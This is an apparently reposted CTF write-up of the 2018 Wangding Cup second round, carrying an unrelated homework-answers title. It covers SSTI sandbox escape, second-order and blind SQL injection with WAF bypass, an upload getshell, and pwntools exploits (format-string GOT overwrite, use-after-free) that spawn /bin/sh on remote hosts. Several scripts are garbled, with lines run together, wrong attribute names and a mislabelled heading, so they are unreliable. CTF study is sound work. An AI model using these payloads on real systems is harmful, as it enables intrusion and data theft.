python123平台作业答案第十二周_【2018年 网鼎杯CTF 第二场】红日安全-网鼎杯WriteUp(24日 更新:web详解)...
本次比賽主要由紅日安全ctf小組奮力拼搏,才可以拿到第二場第四的成績。感謝他們的付出,才可以讓我們看到精彩的wp
1.簽到題
2.虛幻
題目提示漢信碼。使用 binwalk 提取出 9 張圖,拼接成如下用 stegsolve 取 R7 保存并取反色
補上漢信碼的 4 個角,掃描即可獲得 flag
3.calc
題目如下,這是一個計算器,可以執行一些簡單的算式。題目提示正則有問題,所以正則應該是可以繞過的。
我們先看看服務器端使用的是什么語言,簡單測試發現是 python web ,就考慮是否存在 SSTI ,繞過正則執行 python 代碼。
我們先來分析一下正則表達式: ^[0-9.]+\s*[*+-/]\s*[0-9.]+ 。這個正則存在多個問題:
第一個地方: [*+-/]
實際上短桿 - 在方括號中有特殊的含義,表示范圍。 [*+-/] 這個正則實際上包含了以下字符:
第二個地方:
正則表達式末尾的加號 + 并不嚴謹,嚴謹的寫法應該在加號后面添加一個 $ 符號,表示輸入的字符串以數字結尾,變成這樣 ^[0-9.]+\s*[*+-/]\s*[0-9.]+$
使用 payload 如下:(百度python沙箱逃逸,第一個文章中就有payload)
1+1,().__class__.__bases__[0].__subclasses__()[40]('/flag').read()
查看源碼
1+1,().__class__.__bases__[0].__subclasses__()
[59].__init__.__getattribute__('fun'+'c_glo'+'bal'+'s')
['lin'+'eca'+'che'].__dict__['o'+'s'].__dict__['po'+'pen']('cat /usr/local/lib/python2.7/dist-packages/tornado/web.py').read()
這里猜測一下后臺代碼的執行過程:
先用正則對用戶的輸入進行匹配
如果正則匹配不為空,則將用戶的輸入直接傳遞到后臺模板文件中;否則不執行
當然這里有對用戶的輸入進行一些過濾
而我們傳入的 1+1,python語句 實際上是一個元組,傳到后臺模板中類似 {{ (1+1,python語句) }}
4.unfinished
題目如下
發現就一個登陸頁面,于是嘗試探測是否存在 register.php注冊頁面。發現存在,立即注冊登陸,并查看。
登陸的時候用到的是郵箱和密碼,而注冊的時候還有一個用戶名,而這個用戶名卻在登陸后顯示了,所以我們考慮用戶名這里可能存在 二次注入 。
還有一個點就是,我們抓取注冊賬號的數據包,一直重放數據包會發現返回的狀態碼都是 200 ,這里就有可能存在 update注入 ,之后發現并沒有更新用戶信息,所以應該不存在 update注入 。那我們就針對用戶名部分,進行二次注入測試。
注冊成功,會得到 302狀態碼并跳轉至login.php;如果注冊失敗,只會返回 200狀態碼。所以構造 payload如下:
email=test@666.com&username=0'%2B(select hex(hex(database())))%2B'0&password=test
進行兩次hex解碼后得到數據庫名為web:
>>> "373736353632".decode('hex').decode('hex')
'web'
至于為什么 payload 要進行兩次 hex加密,看下面這張圖就明白了。
然后這里還要注意一個問題,就是當數據進過 兩次hex后,會得到較長的一串只含有數字的字符串,當這個長字符串轉成數字型數據的時候會變成科學計數法,也就是說會丟失數據精度,如下:
所以這里我們使用 substr每次取10個字符長度與 '0' 相加,這樣就不會丟失數據。但是這里使用逗號 , 會出錯,所以可以使用類似 substr('test' from 1 for 10) 這種寫法來繞過,具體獲取 flag的代碼如下:
0'%2B(select substr(hex(hex((select * from flag))) from 1 for 10))%2B'0
運行腳本如下:
留個坑周五晚上回來填
5.wafUpload
題目代碼如下:
據說是 pwnhub 題目改的,不過沒找到,直接來分析代碼吧。上圖代碼 第8-10行 進行了 MIME 類型檢測, 第12-20行 對文件后綴進行了檢測,而后綴名則是取 $file 數組中最后一個元素。然后在生成文件的時候,文件路徑又用 $file 數組第一個元素做文件名,數組最后一個下標對應的值作為后綴,這明顯存在不一致可繞過的問題。我們只要控制 $file 數組中參數的順序即可繞過并 getshell ,請求數據包如下:
6.sqlweb
題目:admin也拿不到flag喔(●'?'●)
打開 BurpSuite Fuzz發現提示信息,過濾了以下關鍵字:
admin賬號可以用弱密碼登陸:admin/admin123
發現新提示,說只有 wuyanzu 用戶才能拿到 flag 。至此,思路就很清晰了,flag 應該就是 wuyanzu 用戶的密碼,或者 wuyanzu 用戶登陸后就能看到 flag ,所以這題就是考察繞過 WAF 進行 SQL注入 。
waf:/sleep|benchmark|=|like|regexp|and|\|%|substr|union|\s+|group|floor|user|extractvalue|UpdateXml|ord|lpad|rpad|left|>|,|ascii/i !!! (trust me,no one can bypass it)
仔細觀察上面的 WAF ,過濾了空格,可以用 /**/ 來繞過;過濾了 and ,可以用 && 代替;過濾了 substr 、 ascii ,但是還可以用 mid 。而且SQL語句執行和不執行返回的長度是不一樣的。所以我們構造 payload 如下:
wuyanzu'/**/%26%26/**/mid(passwd/**/from/**/1/**/for/**/1)/**/in/**/('f')/**/limit/**/1%23
編寫獲取flag的程序如下:
import requestsflag = ''chars = "}{-0123456789abcdefghijklmnopqrstuvwxyz"url = "http://902f59bfbb134985aeef8fb606e07c77373dedd3ef0e4bca.game.ichunqiu.com//sql.php"for i in range(1,50):
for char in chars:
datas = {
"uname" : "wuyanzu'/**/&&/**/mid(passwd/**/from/**/" + str(i) +"/**/for/**/1)/**/in/**/('" + char + "')/**/limit/**/1#",
"passwd" : "rte",
"submit" : "login"
}
r = requests.post(url = url, data = datas)
if len(r.text) == 75:
flag += char
print("[-] " + flag,end="\r",flush=True)
if char == '}':
print("[+] " + flag)
exit()
7.套娃 Lsb 隱寫,bgr 通道
8.martricks
64 位 ida 打開 查找字符串
雙擊進入數據段跟進代碼段
查看偽代碼
感覺可以 fuzz 代碼如下 angr 爆破
即可獲得 flag
9.Easyfmt
直接將用戶輸入作為 printf 的參數,導致格式化字符串漏洞輸入 aaaa 作為測試
經測試偏移為 6思路如下:1,利用格式化字符串漏洞,泄露 puts 函數地址,并計算 system 的地址,沒有給 libc,所以通過在線網站得到 puts 與 libc 的相對偏移 2,1,利用格式化字符串,將 system 地址寫入 got 表中 printf 函數的地址 3,在次輸入’/bin/sh’,得到 shellExp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
#p = process('./pwn')
p = remote('106.75.126.184',58579)
elf = ELF('./pwn')
payload1 = p32(elf.got['puts'])+'%6$s' #gdb.attach(p,'b *0x080485ca') #raw_input('GGGG')
p.recv()
p.sendline(payload1)
p.recv(4)
puts = u32(p.recv(4))
log.info('puts : '+hex(puts))
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
system = puts - 0x05f140 + 0x03a940
printfGot = elf.got['printf']
payload = fmtstr_payload(6,{printfGot:system})p.sendline(payload)
p.send('/bin/sh\0')
p.interactive()
10. fgo
del_servant 函數 free chunk 后沒有將指針置空,導致存在 uaf 或 double free
Add_servant 函數在我們生成 chunk 前會自己生成一個 size 為 0x10 的 chunk, 這個 chunk 存在一個如下的結構體
struct { *print_servant_content; *servantcontent;
}
print_servant_content
函數
程序中還存在一個函數,調用便可以直接拿到 shell總體思路就是用 secret 函數地址覆蓋結構體中的指針 print_servant_content。步驟:1,先申請三個 srvant,大小只要不是 0x10 就行2,Delete 序號 0,delete 序號 1,此時的 fastbin 鏈表結構
Size 為 0x8 的就是結構體所在的 chunk3,在申請一個 size 為 0x8 的 servant,content 內容為 secret 的地址,程序會先將 0x8eaa050 這個 chunk 存儲結構體,0x8eaa008 這個 chunk 作為內容, 但是 0x8eaa008 是序號 0 存儲結構體的 chunk,secret 會覆蓋掉它的 *print_servant_content,再次打印 chunk0,便會執行這個函數4,腳本:
from pwn import *
p = process('./fgo')
#p = remote('106.75.104.139',26768) secret = 0x08048956
def add(size,content):p.recvuntil('choice:\n')
p.sendline('1')p.recv() p.sendline(str(size))
p.recv() p.sendline(content)
def delete(index): p.recvuntil('choice:\n') p.sendline('2')
p.recv() p.sendline(str(index))
def show(index): p.recvuntil('choice:\n') p.sendline('3')
p.recv() p.sendline(str(index))
add(0x30,'chunk0')
add(0x30,'chunk1') add(0x30,'chunk2') delete(0)
delete(1) #gdb.attach(p) add(8,p32(secret)) show(0) p.interactive()
11.神奇二叉樹
把 1-59 的字符根據 tmpflag 給的幾個值挑出來,然后第三部有個紅黑樹的節點 刪除操作,操作后會確定每個節點的顏色屬性。然后第四部將紅色的 ASCII +1, 黑色 ASCII-1 即可獲得 flag。
12. babyrsa Baby.py
#coding:utf-8
from pwn import *
from LibcSearcher import *
#p = process('./pwn')
p = remote('106.75.104.139',26768) elf = ELF('./pwn')
puts_got = elf.got['puts'] println = 0x0804862B
rr = lambda x : p.recvuntil(x) ss = lambda x : p.sendline(x) sd = lambda x :
p.send(x)
def add(sz,ab): rr("Your choice:")
ss("1") rr("name :") ss(str(sz)) rr("ability :") ss(ab)
def delete(idx): rr("Your choice:")
ss("2") rr("Index :") ss(str(idx))
def show(idx): rr("Your choice:")
ss("3")
rr("Index :") ss(str(idx))
return rr("--------")
add(24,24*'a') add(24,24*'a') delete(0) delete(1)
add(8,p32(println) + p32(puts_got)) leak = show(0)[:0x4].ljust(4,'\x00') leak = u32(leak)
obj = LibcSearcher('puts',leak) libc_base = leak - obj.dump('puts')
system = obj.dump("system") + libc_base
delete(2) add(8,p32(system) + "/;sh")
#show(0)
#rr("token") #p.sendline("icq3dde2e8d01777e376b01436482dfc")
p.interactive() ## manually ## show(0)
Brsa.py
from pwn import *
from LibcSearcher import LibcSearcher
# context(log_level ='debug')
# r = remote('127.0.0.1',9999)
r =remote('106.75.126.184',58579)
# r=process('pwn')
elf = ELF('pwn')
libc_start_get = elf.get['puts']
print r.recv() r.send(p32(libc_start_get)+'#'+'%6$s'+'#') # raw_input()
r.recvuntil('#')
puts_addr = u32(r.recvuntil('#')[:4])
libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts')
print 'Libc base addr:' + hex(libc_base)
printf_get = elf.get['printf']
system_off = libc.dump('system')
system = libc_base +system_off
print 'system addr: ',hex(system) r.sendline(fmtstr_payload(6,
{printf_get:system})) r.recv()
r.interactive()
13. hvm
Hvm.py #!/usr/bin/env python
from pwn import *
def hvm():
io.recvuntil('hello\n')
# gdb.attach(io)
payload =
'/bin/sh\x00'+flat(0x0f,0x38000000,4,0,0x0d,0x1a,0,1,0x3b000000,0xe,word_size=32,endianness ='little')
payload =
payload.ljust(0x30,'\x00')+flat(0x400,-0x411,word_size=32,endianness='big')
io.sendline(payload)
io.interactive()
if __name__ == '__main__':
context(arch='amd64', kernel='amd64', os='linux') HOST, PORT = '0.0.0.0', 9999
# libc = ELF('./libc.so.6')
if len(sys.argv) > 1 and sys.argv[1] == 'l':
io = process('./hvm')
context.log_level = 'debug' else:
io = remote(HOST, PORT)
context.log_level = 'debug' hvm()
與50位技術專家面對面20年技術見證,附贈技術全景圖總結
以上是生活随笔為你收集整理的python123平台作业答案第十二周_【2018年 网鼎杯CTF 第二场】红日安全-网鼎杯WriteUp(24日 更新:web详解)...的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python 笔试题 英方_经典算法题
- 下一篇: python与tensorflow的关系